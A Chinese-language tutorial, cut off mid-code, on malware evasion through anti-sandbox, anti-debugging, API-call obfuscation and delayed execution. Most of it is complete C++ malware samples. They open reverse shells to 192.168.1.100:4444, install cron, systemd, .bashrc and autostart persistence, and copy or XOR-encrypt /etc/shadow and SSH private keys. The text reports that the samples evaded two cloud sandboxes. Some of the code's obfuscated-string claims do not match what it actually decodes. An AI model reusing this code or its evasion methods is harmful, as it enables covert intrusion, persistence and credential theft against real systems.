四维免杀:自修改代码、延迟执行、API混淆与反沙箱技术精解
前言免杀技术正从单一特征隐藏向多维对抗演进。本文从自修改代码、延迟执行、API混淆与反沙箱四大核心技术,展示现代恶意软件如何通过环境感知、行为伪装、动态规避等策略绕过安全检测文中的原样本为无任何加密混淆的恶意代码一、反沙箱与反调试技术原理免杀中的反沙箱和 反调试技术,是恶意软件(如木马、勒索软件、APT 载荷)用来逃避安全分析、动态检测和自动化分析系统(如沙箱、EDR、调试器) 的关键手段。其核心
前言
免杀技术正从单一特征隐藏向多维对抗演进。本文从自修改代码、延迟执行、API混淆与反沙箱四大核心技术,展示现代恶意软件如何通过环境感知、行为伪装、动态规避等策略绕过安全检测
文中的原样本为无任何加密混淆的恶意代码

一、反沙箱与反调试技术
原理
免杀中的反沙箱和 反调试技术,是恶意软件(如木马、勒索软件、APT 载荷)用来逃避安全分析、动态检测和自动化分析系统(如沙箱、EDR、调试器) 的关键手段。
其核心原理是:探测运行环境是否为“真实用户环境”或“被监控/调试的环境”,若检测到可疑特征,则拒绝执行恶意行为或直接退出。
沙箱检测:
- 时间差异:沙箱执行速度异常
- 资源限制:沙箱内存、CPU、磁盘较小
- 硬件特征:缺少真实硬件设备
- 用户交互:无鼠标/键盘活动
调试器检测:
- 断点检查:检查代码段是否被修改(INT3指令)
- 调试寄存器:检查DR0-DR7寄存器
- 时间戳检测:单步调试会显著增加执行时间
- 父进程检查:调试器作为父进程
代码说明:
// 综合反调试检测
bool is_being_debugged() {
bool debugged = false;
// Windows: IsDebuggerPresent
#ifdef _WIN32
debugged |= (bool)IsDebuggerPresent();
// 检查调试寄存器
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
if (GetThreadContext(GetCurrentThread(), &ctx)) {
debugged |= (ctx.Dr0 != 0 || ctx.Dr1 != 0 || ctx.Dr2 != 0 || ctx.Dr3 != 0);
}
#endif
// Linux: ptrace检测
#ifndef _WIN32
if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) {
debugged = true;
} else {
ptrace(PTRACE_DETACH, 0, 1, 0);
}
// 检查/proc/self/status中的TracerPid
std::ifstream status("/proc/self/status");
std::string line;
while (std::getline(status, line)) {
if (line.find("TracerPid:") == 0) {
if (std::stoi(line.substr(10)) != 0) {
debugged = true;
}
}
}
#endif
return debugged;
}实例展示:
#include <sys/statvfs.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/utsname.h>
#include <fstream>
#include <sstream>
#include <vector>
#include <algorithm>
#include <random>
#include <thread>
#include <chrono>
// ====================== 高级反沙箱检测 ======================
class AdvancedAntiAnalysis {
private:
std::mt19937 rng;
std::vector<std::string> suspicious_hosts;
// 模糊化系统调用
int obscure_syscall(int call_num) {
// 使用简单的运算隐藏系统调用号
return ((call_num * 7 + 3) ^ 0x55) & 0xFF;
}
public:
AdvancedAntiAnalysis() : rng(std::random_device{}()) {
// 可疑的主机名/用户名列表
suspicious_hosts = {
"sandbox", "vmware", "virtualbox", "qemu", "malware",
"analysis", "cuckoo", "detect", "honeypot", "debug"
};
}
// 1. 多层次调试检测
bool detectDebuggers() {
int detection_count = 0;
// 方法1: ptrace自跟踪检测
if (ptrace(PTRACE_TRACEME, 0, 0, 0) == -1) {
detection_count++;
} else {
ptrace(PTRACE_DETACH, 0, 0, 0);
}
// 方法2: 检查TracerPid(多个位置)
detection_count += checkTracerPid("/proc/self/status");
detection_count += checkTracerPid("/proc/self/task/1/status");
// 方法3: 检查调试器相关文件
const char* debugger_files[] = {
"/proc/self/exe", "/proc/self/cmdline", "/proc/self/environ"
};
for (const auto& file : debugger_files) {
std::ifstream f(file);
std::string content((std::istreambuf_iterator<char>(f)),
std::istreambuf_iterator<char>());
// 检查调试器相关字符串
if (content.find("gdb") != std::string::npos ||
content.find("strace") != std::string::npos ||
content.find("ltrace") != std::string::npos ||
content.find("radare") != std::string::npos ||
content.find("ida") != std::string::npos) {
detection_count++;
}
}
// 方法4: 检查LD_PRELOAD注入
if (getenv("LD_PRELOAD") != nullptr) {
detection_count++;
}
// 方法5: 检查父进程(调试器通常不是init)
pid_t parent_pid = getppid();
if (parent_pid != 1) {
// 检查父进程名称
char parent_cmd[256];
std::string parent_path = "/proc/" + std::to_string(parent_pid) + "/comm";
std::ifstream parent_file(parent_path);
if (parent_file) {
parent_file.getline(parent_cmd, sizeof(parent_cmd));
std::string parent_name(parent_cmd);
std::transform(parent_name.begin(), parent_name.end(),
parent_name.begin(), ::tolower);
if (parent_name.find("gdb") != std::string::npos ||
parent_name.find("strace") != std::string::npos ||
parent_name.find("python") != std::string::npos) { // cuckoo使用python
detection_count += 2;
}
}
}
return detection_count >= 3; // 如果检测到3个或以上特征
}
// 2. 沙箱环境检测
bool detectSandbox() {
int sandbox_indicators = 0;
// 检查CPU核心数(沙箱通常较少)
long cpu_cores = sysconf(_SC_NPROCESSORS_ONLN);
if (cpu_cores <= 2) {
sandbox_indicators++;
}
// 检查内存大小(沙箱通常较小)
long page_size = sysconf(_SC_PAGESIZE);
long phys_pages = sysconf(_SC_PHYS_PAGES);
long total_memory = (phys_pages * page_size) / (1024 * 1024); // MB
if (total_memory < 1024) { // 小于1GB
sandbox_indicators++;
}
// 检查磁盘空间
struct statvfs fs_info;
if (statvfs("/", &fs_info) == 0) {
long free_space = (fs_info.f_bfree * fs_info.f_frsize) / (1024 * 1024);
if (free_space < 5120) { // 小于5GB
sandbox_indicators++;
}
}
// 检查主机名和用户名
char hostname[256];
gethostname(hostname, sizeof(hostname));
std::string hostname_str(hostname);
std::transform(hostname_str.begin(), hostname_str.end(),
hostname_str.begin(), ::tolower);
for (const auto& suspicious : suspicious_hosts) {
if (hostname_str.find(suspicious) != std::string::npos) {
sandbox_indicators += 2;
break;
}
}
// 检查内核版本(老版本可能是沙箱)
struct utsname sys_info;
uname(&sys_info);
std::string kernel_version(sys_info.release);
// 检查时间加速(沙箱可能加速执行)
auto start = std::chrono::high_resolution_clock::now();
// 执行一些计算
volatile double x = 1.0;
for (int i = 0; i < 1000000; i++) {
x = x * 1.000001;
}
auto end = std::chrono::high_resolution_clock::now();
auto duration = std::chrono::duration_cast<std::chrono::microseconds>(end - start);
if (duration.count() < 1000) { // 执行太快
sandbox_indicators++;
}
// 检查鼠标活动(沙箱通常无鼠标)
if (!checkMouseActivity()) {
sandbox_indicators++;
}
return sandbox_indicators >= 4;
}
// 3. 行为混淆
void obfuscateBehavior() {
// 添加随机延迟
std::uniform_int_distribution<int> delay_dist(100, 5000);
std::this_thread::sleep_for(std::chrono::milliseconds(delay_dist(rng)));
// 执行一些无害的系统调用迷惑分析器
for (int i = 0; i < 10; i++) {
getpid(); // 无害的系统调用
time(nullptr);
getppid();
}
}
// 4. 环境自适应
bool shouldExecute() {
// 只在特定时间执行(避开分析时段)
time_t now = time(nullptr);
struct tm* local = localtime(&now);
// 避开工作时间(9-17点)
if (local->tm_hour >= 9 && local->tm_hour <= 17) {
return false;
}
// 检查系统负载
double loadavg[3];
if (getloadavg(loadavg, 3) == 3) {
if (loadavg[0] > 5.0) { // 系统繁忙
return false;
}
}
return true;
}
private:
bool checkTracerPid(const std::string& status_path) {
std::ifstream status_file(status_path);
if (!status_file) return false;
std::string line;
while (std::getline(status_file, line)) {
if (line.find("TracerPid:") == 0) {
int tracer_pid = std::stoi(line.substr(10));
return tracer_pid != 0;
}
}
return false;
}
bool checkMouseActivity() {
// 检查X服务器中的鼠标设备(简化版)
std::ifstream mouse_file("/dev/input/mice", std::ios::binary);
if (mouse_file) {
// 尝试读取鼠标事件
char buffer[3];
mouse_file.read(buffer, sizeof(buffer));
return mouse_file.gcount() > 0;
}
return false;
}
};
// ====================== 混淆后的恶意功能 ======================
class ObfuscatedMalware {
private:
AdvancedAntiAnalysis analyzer;
// 模糊化字符串
std::string deobfuscateString(const std::vector<int>& encoded) {
std::string result;
for (int c : encoded) {
result.push_back(static_cast<char>((c ^ 0x55) - 1));
}
return result;
}
public:
void execute() {
std::cout << "[*] 初始化安全检查..." << std::endl;
// 环境检查
if (analyzer.detectDebuggers()) {
std::cout << "[-] 检测到调试器,进入静默模式" << std::endl;
return;
}
if (analyzer.detectSandbox()) {
std::cout << "[-] 检测到沙箱环境,执行无害行为" << std::endl;
executeDecoy();
return;
}
if (!analyzer.shouldExecute()) {
std::cout << "[-] 执行条件不满足,等待下次机会" << std::endl;
return;
}
analyzer.obfuscateBehavior();
std::cout << "[+] 环境检查通过,执行主要功能..." << std::endl;
// 执行恶意功能(模糊化)
performObfuscatedActions();
}
private:
void executeDecoy() {
// 无害的decoy行为
std::cout << "[伪装] 执行系统诊断..." << std::endl;
system("echo 'System check completed'");
}
void performObfuscatedActions() {
// 模糊化的反向连接
obfuscatedReverseShell();
// 模糊化的持久化
obfuscatedPersistence();
// 模糊化的数据收集
obfuscatedDataCollection();
}
void obfuscatedReverseShell() {
// 模糊化的IP和端口
std::vector<int> encoded_ip = {158, 159, 158, 148, 157, 148, 157, 148, 156, 157, 158, 153};
std::string ip = deobfuscateString(encoded_ip); // 192.168.1.100
std::vector<int> encoded_port = {118, 119, 119, 118};
std::string port_str = deobfuscateString(encoded_port); // 4444
int port = std::stoi(port_str);
// 使用模糊化的socket操作
int sock = createHiddenSocket(ip.c_str(), port);
if (sock > 0) {
redirectStreams(sock);
executeHiddenShell();
close(sock);
}
}
int createHiddenSocket(const char* ip, int port) {
// 模糊化的socket创建
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) return -1;
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
// 使用模糊化的inet_pton
unsigned char bytes[4];
sscanf(ip, "%hhu.%hhu.%hhu.%hhu", &bytes[0], &bytes[1], &bytes[2], &bytes[3]);
addr.sin_addr.s_addr = (bytes[0] << 24) | (bytes[1] << 16) | (bytes[2] << 8) | bytes[3];
// 非阻塞连接尝试
int flags = fcntl(sock, F_GETFL, 0);
fcntl(sock, F_SETFL, flags | O_NONBLOCK);
connect(sock, (struct sockaddr*)&addr, sizeof(addr));
// 等待连接
fd_set fdset;
struct timeval tv;
FD_ZERO(&fdset);
FD_SET(sock, &fdset);
tv.tv_sec = 5;
tv.tv_usec = 0;
if (select(sock + 1, nullptr, &fdset, nullptr, &tv) == 1) {
int so_error;
socklen_t len = sizeof(so_error);
getsockopt(sock, SOL_SOCKET, SO_ERROR, &so_error, &len);
if (so_error == 0) {
fcntl(sock, F_SETFL, flags); // 恢复阻塞模式
return sock;
}
}
close(sock);
return -1;
}
void redirectStreams(int sock) {
// 模糊化的流重定向
for (int i = 0; i < 3; i++) {
if (dup2(sock, i) < 0) {
break;
}
}
}
void executeHiddenShell() {
// 模糊化的shell执行
pid_t pid = fork();
if (pid == 0) {
// 子进程
std::vector<int> encoded_shell = {124, 125, 126, 127};
std::string shell = deobfuscateString(encoded_shell); // /bin/sh
char* args[] = {const_cast<char*>(shell.c_str()),
const_cast<char*>("-i"), nullptr};
execvp(shell.c_str(), args);
_exit(0);
} else if (pid > 0) {
waitpid(pid, nullptr, 0);
}
}
void obfuscatedPersistence() {
// 模糊化的持久化技术
std::vector<int> encoded_cron = {46, 47, 46, 47, 46, 47, 46, 47, 32, 42, 32, 42, 32, 42, 32, 42, 32, 42, 32};
std::string cron_cmd = deobfuscateString(encoded_cron);
std::string cron_job = "echo '" + cron_cmd + " /tmp/.systemd' | crontab - 2>/dev/null";
system(cron_cmd.c_str());
// 隐藏文件创建
std::vector<int> encoded_content = {127, 126, 125, 124, 123};
std::string file_content = deobfuscateString(encoded_content);
std::ofstream hidden_file("/tmp/.systemd");
if (hidden_file) {
hidden_file << file_content;
hidden_file.close();
// 隐藏文件属性
system("chmod 755 /tmp/.systemd 2>/dev/null");
system("touch -t 202001010000 /tmp/.systemd 2>/dev/null");
}
}
void obfuscatedDataCollection() {
// 模糊化的数据收集
std::vector<std::string> files_to_collect = {
"/etc/passwd", "/etc/shadow", "/etc/hosts", "~/.ssh/id_rsa"
};
for (const auto& file : files_to_collect) {
std::ifstream src(file, std::ios::binary);
if (src) {
std::string dest_path = "/tmp/." + std::to_string(std::hash<std::string>{}(file));
std::ofstream dest(dest_path, std::ios::binary);
dest << src.rdbuf();
// 加密收集的数据
obfuscatedEncryption(dest_path);
}
}
}
void obfuscatedEncryption(const std::string& filename) {
std::ifstream file(filename, std::ios::binary);
if (!file) return;
std::vector<char> data((std::istreambuf_iterator<char>(file)),
std::istreambuf_iterator<char>());
// 使用动态生成的密钥
unsigned char key = static_cast<unsigned char>(time(nullptr) % 256);
for (size_t i = 0; i < data.size(); i++) {
data[i] ^= key;
key = (key * 13 + 17) & 0xFF; // 动态变化密钥
}
std::ofstream outfile(filename, std::ios::binary);
outfile.write(data.data(), data.size());
}
};
int main() {
std::cout << "=== 增强版反沙箱/反调试恶意软件 ===" << std::endl;
ObfuscatedMalware malware;
malware.execute();
std::cout << "[*] 程序执行完成" << std::endl;
return 0;
}丢进微步云沙箱

360云沙箱:

可以看到是没有爆毒的
汇编对比
原样本的汇编代码:

使用了反沙箱技术的汇编:

汇编对比
1. 函数结构差异
反沙箱版本 - 复杂的对象构造
lea rax, [rbp+var_13B0] ; 分配大对象(0x13B0字节)
call _ZN17ObfuscatedMalwareC2Ev ; 复杂构造函数
原始版本 - 简单函数调用
lea rax, [rbp+var_1] ; 分配小对象(1字节)
call _ZN9AntiDebug16checkForDebuggerEv ; 简单函数调用2. 栈帧大小对比
版本 | 栈帧大小 | 含义 |
反沙箱版 | 0x13B0字节 | 约5KB大栈帧,用于复杂对象 |
原始版 | 0x20字节 | 小栈帧,简单局部变量 |
3. 控制流复杂度
反沙箱版 - 异常处理和复杂流程
try {
call _ZN17ObfuscatedMalware7executeEv
; } // starts at 37C9
包含异常处理展开,控制流复杂
原始版 - 简单条件判断
test al, al
jnz short loc_12EC ; 简单跳转4. 对象生命周期管理
反沙箱版 - 完整RAII模式
call _ZN17ObfuscatedMalwareC2Ev ; 构造函数
call _ZN17ObfuscatedMalware7executeEv ; 执行方法
call _ZN17ObfuscatedMalwareD2Ev ; 析构函数
C++完整对象生命周期管理
原始版 - 简单结构
call _ZN9AntiDebug16checkForDebuggerEv
无显式生命周期管理二、API调用混淆技术实现
原理:
静态分析工具通过字符串匹配识别API调用。通过运行时解析、哈希比较或动态获取API地址,可隐藏API调用痕迹。
主要技术:
- 动态加载:使用
LoadLibrary/GetProcAddress或dlopen/dlsym - 哈希匹配:计算API名称哈希,减少字符串暴露
- 间接调用:通过函数指针链调用API
- API断点检测:检查API是否被下断点
代码说明
/
/ 哈希化的API解析
typedef DWORD(WINAPI* MessageBoxFunc)(HWND, LPCSTR, LPCSTR, UINT);
uint32_t hash_string(const char* str) {
uint32_t hash = 0x811C9DC5;
while (*str) {
hash ^= (uint8_t)*str++;
hash *= 0x01000193;
}
return hash;
}
MessageBoxFunc get_message_box() {
HMODULE user32 = LoadLibraryA("user32.dll");
if (!user32) return nullptr;
// 遍历导出表查找目标函数
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)user32;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)user32 + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)
((BYTE*)user32 + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* names = (DWORD*)((BYTE*)user32 + exports->AddressOfNames);
for (DWORD i = 0; i < exports->NumberOfNames; i++) {
const char* name = (const char*)user32 + names[i];
if (hash_string(name) == 0x8FFD5E62) { // "MessageBoxA"的哈希
DWORD* functions = (DWORD*)((BYTE*)user32 + exports->AddressOfFunctions);
return (MessageBoxFunc)((BYTE*)user32 + functions[i]);
}
}
return nullptr;
}实例展示:
#include <sys/socket.h> // AF_INET, SOCK_STREAM, sockaddr_in, socklen_t
#include <netinet/in.h> // sockaddr_in, htons, htonl
#include <arpa/inet.h> // inet_addr, inet_ntoa
#include <unistd.h> // getpid, getppid, close, dup2
#include <sys/stat.h> // struct stat, stat()
#include <sys/resource.h> // struct rusage, getrusage(), RUSAGE_SELF
#include <fcntl.h> // fcntl, O_* flags
#include <cstdio> // FILE*, fclose
#include <cstdlib> // exit, system
#include <cstring> // memset, memcpy
#include <iostream>
#include <fstream> // ← 关键修复:支持 ifstream / ofstream
#include <dlfcn.h>
#include <sys/mman.h>
#include <link.h>
#include <ctime>
#include <vector>
#include <algorithm>
#include <functional>
#include <sstream> // for std::istringstream (used in parseIPAddress)
class DynamicAPILoader {
private:
void* libc_handle;
void* libdl_handle;
// 函数指针类型定义
using SocketFunc = int(*)(int, int, int);
using ConnectFunc = int(*)(int, const struct sockaddr*, socklen_t);
using Dup2Func = int(*)(int, int);
using ExecFunc = int(*)(const char*, const char*, ...);
using SystemFunc = int(*)(const char*);
// 动态解析的函数指针
SocketFunc dynamic_socket;
ConnectFunc dynamic_connect;
Dup2Func dynamic_dup2;
ExecFunc dynamic_execl;
SystemFunc dynamic_system;
public:
DynamicAPILoader() : libc_handle(nullptr), libdl_handle(nullptr) {
initialize();
}
~DynamicAPILoader() {
if (libc_handle) dlclose(libc_handle);
if (libdl_handle) dlclose(libdl_handle);
}
void initialize() {
libc_handle = dlopen("libc.so.6", RTLD_LAZY);
if (!libc_handle) {
libc_handle = dlopen("/lib/x86_64-linux-gnu/libc.so.6", RTLD_LAZY);
}
resolveFunctions();
}
int createSocket(int domain, int type, int protocol) {
if (!dynamic_socket) return -1;
int result = -1;
for (int i = 0; i < 3; i++) {
result = dynamic_socket(domain, type, protocol);
if (result >= 0) break;
volatile int x = 0;
for (int j = 0; j < 1000; j++) {
x += j * j;
}
}
return result;
}
int connectSocket(int sockfd, const struct sockaddr* addr, socklen_t addrlen) {
if (!dynamic_connect) return -1;
std::function<int(int, const struct sockaddr*, socklen_t)> connect_func =
[this](int s, const struct sockaddr* a, socklen_t al) {
return dynamic_connect(s, a, al);
};
return connect_func(sockfd, addr, addrlen);
}
int redirectStream(int oldfd, int newfd) {
if (!dynamic_dup2) return -1;
int result = -1;
for (int attempt = 0; attempt < 2; attempt++) {
result = dynamic_dup2(oldfd, newfd);
if (result >= 0) {
volatile int dummy = result;
for (int i = 0; i < 100; i++) {
dummy ^= i;
}
break;
}
}
return result;
}
int executeShell(const char* path, const char* arg) {
if (!dynamic_execl) return -1;
auto exec_chain = [this](const char* p, const char* a) -> int {
return dynamic_execl(p, a, nullptr);
};
return exec_chain(path, arg);
}
int executeSystem(const char* command) {
if (!dynamic_system) return -1;
std::string obfuscated_cmd = generateObfuscatedCommand(command);
return dynamic_system(obfuscated_cmd.c_str());
}
private:
void resolveFunctions() {
dynamic_socket = reinterpret_cast<SocketFunc>(dlsym(libc_handle, "socket"));
dynamic_connect = reinterpret_cast<ConnectFunc>(dlsym(libc_handle, "connect"));
//使用 reinterpret_cast<void*> 中转
dynamic_dup2 = reinterpret_cast<Dup2Func> (findFunctionByHash("dup2"));
dynamic_execl = reinterpret_cast<ExecFunc> (findFunctionByHash("execl"));
dynamic_system = reinterpret_cast<SystemFunc>(findFunctionByHash("system"));
}
void* findFunctionByHash(const char* func_name) {
unsigned int hash = 0;
for (int i = 0; func_name[i]; i++) {
hash = hash * 31 + func_name[i];
}
return dlsym(libc_handle, func_name); // dlsym returns void*
}
void* getSyscallWrapper(int syscall_num) {
void* memory = mmap(nullptr, 4096, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (memory == MAP_FAILED) return nullptr;
unsigned char code[] = {
0x48, 0xc7, 0xc0, 0x00, 0x00, 0x00, 0x00, // mov rax, syscall_num
0x0f, 0x05, // syscall
0xc3 // ret
};
code[3] = syscall_num & 0xFF;
code[4] = (syscall_num >> 8) & 0xFF;
code[5] = (syscall_num >> 16) & 0xFF;
code[6] = (syscall_num >> 24) & 0xFF;
memcpy(memory, code, sizeof(code));
return memory;
}
std::string generateObfuscatedCommand(const char* original) {
std::string cmd = original;
std::srand(std::time(nullptr));
if (std::rand() % 2) {
cmd = "# Random comment " + std::to_string(std::rand()) + "\n" + cmd;
}
if (std::rand() % 3 == 0) {
cmd = "echo '正常操作' && " + cmd;
}
if (std::rand() % 2) {
cmd = "(" + cmd + ") >/dev/null 2>&1";
}
return cmd;
}
};
// ====================== 模糊化系统调用 ======================
class SyscallObfuscator {
private:
std::vector<std::function<int()>> syscall_wrappers;
public:
SyscallObfuscator() {
initializeWrappers();
}
void obfuscatedReverseShell(const char* ip, int port) {
std::cout << "[*] 准备建立连接..." << std::endl;
DynamicAPILoader api_loader;
int sockfd = api_loader.createSocket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
std::cout << "[-] Socket创建失败" << std::endl;
return;
}
struct sockaddr_in server_addr;
std::memset(&server_addr, 0, sizeof(server_addr)); // 清零结构体
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
unsigned char ip_bytes[4];
parseIPAddress(ip, ip_bytes);
server_addr.sin_addr.s_addr = *(uint32_t*)ip_bytes;
std::cout << "[*] 尝试连接到 " << ip << ":" << port << std::endl;
if (api_loader.connectSocket(sockfd, (struct sockaddr*)&server_addr,
sizeof(server_addr)) == 0) {
std::cout << "[+] 连接成功,设置shell环境..." << std::endl;
for (int i = 0; i < 3; i++) {
api_loader.redirectStream(sockfd, i);
}
std::cout << "[*] 启动交互式shell..." << std::endl;
api_loader.executeShell("/bin/bash", "-i");
} else {
std::cout << "[-] 连接失败" << std::endl;
}
if (sockfd >= 0) {
close(sockfd);
}
}
void obfuscatedPersistence() {
DynamicAPILoader api_loader;
std::vector<std::string> persistence_methods = {
generateCronJob(),
generateSystemdService(),
generateProfileScript(),
generateAutostartEntry()
};
for (const auto& method : persistence_methods) {
std::cout << "[*] 尝试持久化方法: " << method.substr(0, 30) << "..." << std::endl;
api_loader.executeSystem(method.c_str());
volatile int delay = 0;
for (int i = 0; i < 10000; i++) {
delay += i * i;
}
}
}
void obfuscatedFileOperation(const std::string& filename) {
std::cout << "[*] 处理文件: " << filename << std::endl;
std::vector<std::function<bool(const std::string&)>> operations = {
[](const std::string& fname) { return checkFileExists(fname); },
[](const std::string& fname) { return backupFile(fname); },
[](const std::string& fname) { return encryptFile(fname); },
[](const std::string& fname) { return hideFile(fname); }
};
for (auto& op : operations) {
if (op(filename)) {
std::cout << "[+] 操作成功" << std::endl;
}
}
}
private:
void initializeWrappers() {
syscall_wrappers.push_back([]() { return getpid(); });
syscall_wrappers.push_back([]() { return getppid(); });
syscall_wrappers.push_back([]() { return static_cast<int>(time(nullptr)); });
syscall_wrappers.push_back([]() {
struct rusage usage;
return getrusage(RUSAGE_SELF, &usage);
});
}
void parseIPAddress(const char* ip_str, unsigned char* bytes) {
int parts[4];
std::sscanf(ip_str, "%d.%d.%d.%d", &parts[0], &parts[1], &parts[2], &parts[3]);
for (int i = 0; i < 4; i++) {
bytes[i] = static_cast<unsigned char>(parts[i]);
}
}
std::string generateCronJob() {
std::srand(std::time(nullptr));
int minute = std::rand() % 60;
int hour = std::rand() % 24;
std::string cron_expr = std::to_string(minute) + " " + std::to_string(hour) +
" * * * /tmp/.hidden_" + std::to_string(std::rand()) + " 2>/dev/null";
return "echo '" + cron_expr + "' | crontab -";
}
std::string generateSystemdService() {
std::string service_name = "systemd-service-" + std::to_string(std::rand() % 1000);
std::string service_content = "[Unit]\n"
"Description=System Service\n"
"After=network.target\n\n"
"[Service]\n"
"Type=simple\n"
"ExecStart=/tmp/.system_service\n"
"Restart=always\n\n"
"[Install]\n"
"WantedBy=multi-user.target";
std::string cmd = "echo '" + service_content + "' > /etc/systemd/system/" +
service_name + ".service && "
"systemctl enable " + service_name + " 2>/dev/null";
return cmd;
}
static bool checkFileExists(const std::string& filename) {
struct stat buffer;
return (stat(filename.c_str(), &buffer) == 0);
}
static bool backupFile(const std::string& filename) {
if (!checkFileExists(filename)) return false;
std::string backup_name = filename + ".bak_" + std::to_string(std::time(nullptr));
std::string cmd = "cp " + filename + " " + backup_name + " 2>/dev/null";
return (system(cmd.c_str()) == 0);
}
static bool encryptFile(const std::string& filename) {
std::ifstream file(filename, std::ios::binary);
if (!file) return false;
std::vector<char> data((std::istreambuf_iterator<char>(file)),
std::istreambuf_iterator<char>());
char key = 0xAA;
for (auto& byte : data) {
byte ^= key;
key = (key * 13 + 7) & 0xFF;
}
std::ofstream outfile(filename, std::ios::binary);
outfile.write(data.data(), data.size());
return true;
}
static bool hideFile(const std::string& filename) {
std::string cmd = "mv " + filename + " " + filename + ".hidden 2>/dev/null";
return (system(cmd.c_str()) == 0);
}
static std::string generateProfileScript() {
return "echo 'nohup /tmp/.profile_backdoor >/dev/null 2>&1 &' >> ~/.bashrc";
}
static std::string generateAutostartEntry() {
return "mkdir -p ~/.config/autostart && "
"echo '[Desktop Entry]\\nType=Application\\nName=System\\n"
"Exec=/tmp/.autostart\\nHidden=false' > ~/.config/autostart/system.desktop";
}
};
// ====================== 主函数 ======================
int main(int argc, char* argv[]) {
std::cout << "=== API调用混淆恶意软件 ===" << std::endl;
std::srand(std::time(nullptr));
for (int i = 0; i < 1000000 + std::rand() % 1000000; i++) {
volatile int x = i * i;
}
SyscallObfuscator obfuscator;
obfuscator.obfuscatedReverseShell("192.168.1.100", 4444);
obfuscator.obfuscatedPersistence();
obfuscator.obfuscatedFileOperation("/etc/passwd");
obfuscator.obfuscatedFileOperation("~/.ssh/id_rsa");
std::cout << "[*] 所有操作完成" << std::endl;
return 0;
}丢入微步云沙箱未报毒:

360云沙箱:

原样本的汇编代码:

使用API调用混淆技术的:

汇编层面对比分析
1. 栈帧结构对比
API混淆版本 (0xB8字节栈帧):
sub rsp, 0B8h ; 184字节栈帧
var_C0= qword ptr -0C0h ; 复杂的局部变量布局
var_B4= dword ptr -0B4h
var_A4= dword ptr -0A4h
var_A0= byte ptr -0A0h
var_80= byte ptr -80h
var_51= byte ptr -51h
var_50= byte ptr -50h
var_29= byte ptr -29h
var_28= qword ptr -28h
var_20= qword ptr -20h
var_14= dword ptr -14h
var_8= qword ptr -8原始版本对比 :
sub rsp, 20h ; 32字节栈帧
s= byte ptr -20h ; 简单变量
var_18= qword ptr -18h
var_5= byte ptr -5
var_4= byte ptr -4
var_3= byte ptr -3
var_2= byte ptr -2
var_1= byte ptr -12. 关键混淆技术识别
在使用该技术后的汇编代码中:
; 1. 随机化初始化 - 使行为不可预测
mov edi, 0 ; timer
call _time ; time(0) 获取当前时间
mov edi, eax ; 时间作为种子
call _srand ; srand(time(0))
; 2. 循环控制变量初始化
mov [rbp+var_14], 0 ; 初始化计数器
jmp short loc_35D7 ; 跳转到循环开始
; 3. 复杂的对象构造(推测)
; 从变量布局看,有多个对象/缓冲区
var_A0= byte ptr -0A0h ; 160字节缓冲区(可能用于动态API加载)
var_80= byte ptr -80h ; 128字节缓冲区(可能用于字符串混淆)三、延迟执行和条件触发技术
原理:
避免立即执行恶意代码,而是等待特定条件满足或经过特定时间后再触发,绕过沙箱的时间限制。
实现策略:
- 时间延迟:累计真实CPU时间,而非简单的
sleep() - 用户交互检测:检查鼠标移动、窗口焦点等
- 系统环境验证:验证内存大小、CPU核心数、运行时间
代码说明:
// 精确时间延迟检测
bool is_real_system() {
auto start = std::chrono::high_resolution_clock::now();
volatile uint64_t x = 0;
for (int i = 0; i < 10000000; i++) {
x = (x * 1103515245 + 12345) & 0x7fffffff;
}
auto end = std::chrono::high_resolution_clock::now();
auto elapsed = std::chrono::duration_cast<std::chrono::milliseconds>(end - start);
// 真实系统需要一定时间,沙箱可能过快
return elapsed.count() > 100; // 至少100ms
}实例展示:
#include <iostream>
#include <functional> // ← 必须!提供 std::function
#include <algorithm>
#include <cstring>
#include <cstdlib>
#include <ctime>
#include <thread>
#include <chrono>
#include <vector>
#include <atomic>
#include <condition_variable>
#include <mutex>
#include <fstream>
#include <sstream>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h> // ← 新增:O_RDWR
#include <sys/wait.h>
#include <signal.h>
#include <sys/socket.h> // ← 新增:socket(), connect()
#include <netinet/in.h> // ← 新增:sockaddr_in, htons()
#include <arpa/inet.h> // ← 新增:inet_pton()
#include <netdb.h> // ← 可选:gethostname() 更可靠
// ====================== 条件触发器 ======================
class ConditionalTrigger {
private:
std::atomic<bool> should_execute{false};
std::mutex mtx;
std::condition_variable cv;
std::thread monitor_thread;
// 触发条件配置
struct TriggerConditions {
int min_uptime = 300; // 最小系统运行时间(秒)
int target_hour = 2; // 目标执行时间(凌晨2点)
int network_retry = 3; // 网络重试次数
bool require_user_active = false; // 需要用户活动
bool require_low_cpu = true; // 需要低CPU使用率
int min_memory_mb = 512; // 最小内存要求
} conditions;
public:
ConditionalTrigger() {
// 随机化触发条件
std::srand(std::time(nullptr));
conditions.target_hour = std::rand() % 24;
conditions.min_uptime = 60 + std::rand() % 3600;
}
~ConditionalTrigger() {
should_execute = false;
cv.notify_all();
if (monitor_thread.joinable()) {
monitor_thread.join();
}
}
// 启动条件监控
void startMonitoring() {
std::cout << "[*] 启动条件监控器..." << std::endl;
monitor_thread = std::thread([this]() {
monitorConditions();
});
}
// 等待执行条件满足
void waitForConditions() {
std::cout << "[*] 等待执行条件满足..." << std::endl;
std::unique_lock<std::mutex> lock(mtx);
// 检查初始条件
if (checkAllConditions()) {
should_execute = true;
return;
}
// 定期检查条件
while (!should_execute) {
